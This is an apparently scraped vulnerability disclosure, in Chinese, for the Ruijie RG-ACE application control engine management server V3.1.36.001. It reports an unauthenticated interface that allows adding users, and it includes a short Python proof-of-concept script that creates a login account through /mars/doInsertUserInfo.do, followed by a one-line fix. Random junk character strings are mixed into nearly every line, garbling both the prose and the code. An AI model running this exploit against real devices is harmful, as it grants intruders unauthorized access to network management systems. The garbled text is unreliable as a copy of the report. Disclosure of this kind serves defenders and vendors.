锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
2 ` }4 f0 H( ^) d4 s( G6 q2 p5 T3 ]6 N1 U# l2 \: ?
) F5 q7 ?2 B6 D& f" Q
测试的具体版本是
5 f* d$ m9 e" f! m% I产品名称: 锐捷应用控制引擎( C0 T5 h# G/ e9 f$ Q$ c3 E
版本号: 3.1.36.001 TC. E$ k# H5 X! I4 H7 e- d
编译时间: 201104291730
- }! s; |1 M7 m. k% t) n
& Y: k9 c9 @7 a% G. A! |- [8 ~1 k
$ X+ C p, I4 L) ?. a- s2 ]漏洞证明:
! p8 V/ a# o, D, y7 W* ~, [# K3 ?
/ E. {: U! w4 r3 i9 Y8 y' L% ?# |& o5 V- A" c/ n
0 Z0 u( @( u l4 [& Q. N) I8 e0 s7 _& f
! E) ]" s" c1 p- q$ ~
0 v& X! J: b8 @* Z$ E, k" C4 W9 X
执行脚本( b8 Y! l3 U7 N6 ?. D. n# A2 U
#! /usr/bin/env python5 I. _/ Q9 J. D- \
#coding=gbk8 n" u4 M. d" Z$ d
#RG-ACE管理服务器 V3.1.36.001
7 C" x9 |" c8 R) nimport urllib2, urllib,cookielib& A2 ]9 Q K; o$ f2 F: U
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
5 g; B. X% X& Iopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
0 j& j3 F7 ^% r0 ^opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
7 `- J1 @8 m) u1 o; [post=(("event","userManager.doInsertUserInfo"),+ m5 [& y8 M f
("useractionname","addButtonValue"),4 u; N( _& f% [' f, E) H
("useropermanager","userManager"),8 _- }7 G, a1 _& c3 D* h) z
("userName","t"), #######账号自己加
3 d* [+ k [; `! C4 `7 E7 e("pwd","aaaaaa"),######密码自己加
6 r: G, h, B& ?2 w("trueName","ad"),
6 ~, B2 d; W- D7 c% {("email",""),- z/ E' U* z9 r, X, O# ~
("mobilePhone",""),
( i1 M+ ^' Z, }- A5 V7 @("officePhone",""),
. g( m) p" R& O+ X; Q* r+ H0 a("addr",""),% i' \( W7 T& B/ H2 B
("submit","确定"))
! @9 v$ R; N1 G e6 Nurllib2.install_opener(opener)
. g' H; s! [: ?. t! K. b3 R. E/ Cp=urllib2.urlopen(url, urllib.urlencode(post)).read()$ N/ K p: S% @9 F' N3 }6 b2 ^+ [# z7 `
print "Done"4 P2 m/ j2 k# m8 D, \ {4 w$ A
z) a) j+ _+ s3 [登录,连接设备8 c8 H+ X: @6 D( K' C) L% z
) E: u3 K. A; b8 C
' z+ c+ W( j! I8 y. V* v5 @7 |. x$ W9 Y3 S! [" ?
. c( k/ e* v% e8 u7 p/ n+ X3 v& y
3 p4 `/ `& O! C% `2 b默认的管理员admin权限更大点
. ]8 x" w" h) j2 p, h6 Y$ S0 I B; E7 @
8 `0 }+ k+ m# b; L0 n
) D; @4 i) w/ C6 s9 r% J 5 l% M! |) z/ D$ V2 |- e, O! Z
6 K3 F4 i' J, r) n修复方案:
& |9 X7 ^# F, H1 J& T9 o2 P9 U加强对接口的权限验证" o3 w. e: E* v# ]* V2 I) M
8 ^; H. A7 T6 H2 o/ y6 O2 ~! v |